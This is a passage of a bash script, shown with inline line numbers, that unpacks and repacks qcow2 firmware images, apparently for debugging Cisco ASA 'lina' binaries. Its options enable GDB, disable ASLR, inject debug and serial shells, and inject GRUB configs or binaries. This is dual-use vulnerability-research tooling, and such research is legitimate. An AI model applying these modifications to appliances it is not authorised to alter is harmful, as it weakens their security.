LINAHOOK=" -H $2" 566 | shift 567 | ;; 568 | -s|--enable-serial) 569 | ENABLE_SERIAL="YES" 570 | ;; 571 | # QCOW Helper 572 | --mount-qcow2) 573 | QCOW_MOUNT="YES" 574 | ;; 575 | # QCOW Helper 576 | --unmount-qcow2) 577 | QCOW_UMOUNT="YES" 578 | ;; 579 | # QCOW Helper 580 | --partition) 581 | QCOW_PARTNUM="$2" 582 | shift 583 | ;; 584 | -u|--unpack-only) 585 | UNPACK_ONLY="YES" 586 | ;; 587 | --grub-timeout) 588 | GRUB_TIMEOUT="${2}" 589 | shift # past argument 590 | ;; 591 | --inject-grub-conf) 592 | INJECT_GRUB_CONF="${2}" 593 | shift # past argument 594 | ;; 595 | --inject-bin) 596 | INJECT_BIN="${2}" 597 | shift # past argument 598 | ;; 599 | -M|--multi-bin) 600 | MULTI_BIN="YES" 601 | ;; 602 | -v|--verbose) 603 | DEBUG="-v" 604 | ;; 605 | -h|*) 606 | # unknown option 607 | log "[!] Unknown option provided: $key" 608 | usage 609 | ;; 610 | esac 611 | shift # past argument or value 612 | done 613 | 614 | # root is needed so we can mount/unmount the qcow2 615 | # and alternatively so the repacked version has the right uid/gid (when applicable) 616 | # do this hear so you can at least see -h without sudo 617 | if [ "$(whoami)" != "root" ]; then 618 | log "You need to be root to mount/unmount the qcow2" 619 | log "NOTE: Use sudo -E if you sourced env.sh" 620 | exit 621 | fi 622 | 623 | # Will always force to free space in the .bin with -f 624 | BIN_CMDLINE="-f ${ENABLE_GDB}${DISABLE_GDB}${ENABLE_ASLR}${DISABLE_ASLR}${INJECT_GDB}${CUSTOM}${DEBUGSHELL}${SERIALSHELL}${LINAHOOK}" 625 | if [ ! -z ${DEBUG} ] 626 | then 627 | BIN_CMDLINE="${BIN_CMDLINE} -n" 628 | fi 629 | 630 | if [[ -z ${QCOW2FILE} || ! -f ${QCOW2FILE} ]] 631 | then 632 | log "ERROR: You must specify at least a valid -i file: ${QCOW2FILE}" 633 | log "ERROR: Double check your working directory as ${QCOW2FILE} doesn't appear to exist" 634 | exit 635 | fi 636 | 637 | if [[ -z $TEMPLATEQCOW2FILE ]] 638 | then 639 | TEMPLATEQCOW2FILE="$QCOW2FILE" 640 | fi 641 | 642 | QCOWDIR=$(dirname "$QCOW2FILE") 643 | # Checking for . allows us to specify relative paths... 644 | if [[ ${QCOWDIR} == '.' ]]; then 645 | QCOWDIR=$(pwd) 646 | fi 647 | BASEQCOW2FILE=$(basename "$QCOW2FILE") 648 | BASEQCOW2FILE_NOEXT=${BASEQCOW2FILE%.*} 649 | 650 | if [[ -z $OUTQCOW2FILE ]]; 651 | then 652 | OUTQCOW2FILE=${QCOWDIR}/${BASEQCOW2FILE_NOEXT}-repacked.qcow2 653 | fi 654 | 655 | if [ ! -z "${ENABLE_SERIAL}" ]; then 656 | # We exit immediately because this is used for patching a flash qcow2 and 657 | # not the same qcow2 for enabling gdb, etc. 658 | add_serial "${QCOW2FILE}" "${QCOW2MNT}" 659 | exit 660 | fi 661 | 662 | if [ ! -z "${QCOW_MOUNT}" ]; then 663 | init_nbd ${QCOW2FILE} 664 | if [[ ${QCOW_PARTNUM} > ${PARTCOUNT} ]]; then 665 | log "qcow2 has ${PARTCOUNT} partitions. You asked for ${QCOW_PARTNUM}" 666 | exit 667 | fi 668 | mount /dev/nbd0p${QCOW_PARTNUM} ${QCOW2MNT} 669 | exit 670 | fi 671 | 672 | if [ ! -z "${QCOW_UMOUNT}" ]; then 673 | sync 674 | umount ${QCOW2MNT} 675 | fini_nbd 676 | exit 677 | fi 678 | 679 | if [[ ! -z "${INJECT_GRUB_CONF}" ]]; then 680 | init_nbd ${QCOW2FILE} 681 | echo "Injecting grub config" 682 | inject_grub_config ${QCOW2MNT} ${INJECT_GRUB_CONF} 683 | fini_nbd 684 | fi 685 | 686 | if [[ ! -z "$INJECT_BIN" ]]; then 687 | init_nbd ${QCOW2FILE} 688 | log "Injecting ${INJECT_BIN} into ${QCOW2FILE}" 689 | inject_multibin ${QCOW2MNT} ${INJECT_BIN} 690 | fini_nbd 691 | else 692 | log "Using input qcow2 file: ${QCOW2FILE}" 693 | log "Using template qcow2 file: ${TEMPLATEQCOW2FILE}" 694 | log "Using output qcow2 file: ${OUTQCOW2FILE}" 695 | log "Using bin file command line: ${BIN_CMDLINE}" 696 | 697 | # Work is done in a "bin" directory because we use the same name for both 698 | # the .bin and the .qcow2 file. This is for several reasons: 699 | # 1. our target database contains a .qcow2 name so we need this when 700 | # patching "lina" to the right target offsets 701 | # 2. binwalk will create a folder with the .bin name so we need it to also 702 | # match the actual .qcow2 so it is correct when debugging 703 | mkdir ${QCOWDIR}/bin &> /dev/null 704 | BINFILE=${QCOWDIR}/bin/${BASEQCOW2FILE_NOEXT}.qcow2 705 | 706 | if [[ "$UNPACK_ONLY" == "YES" ]] 707 | then 708 | extract_one 709 | else 710 | extract_repack_one 711 | fi 712 | fi 713 | --------------------------------------------------------------------------------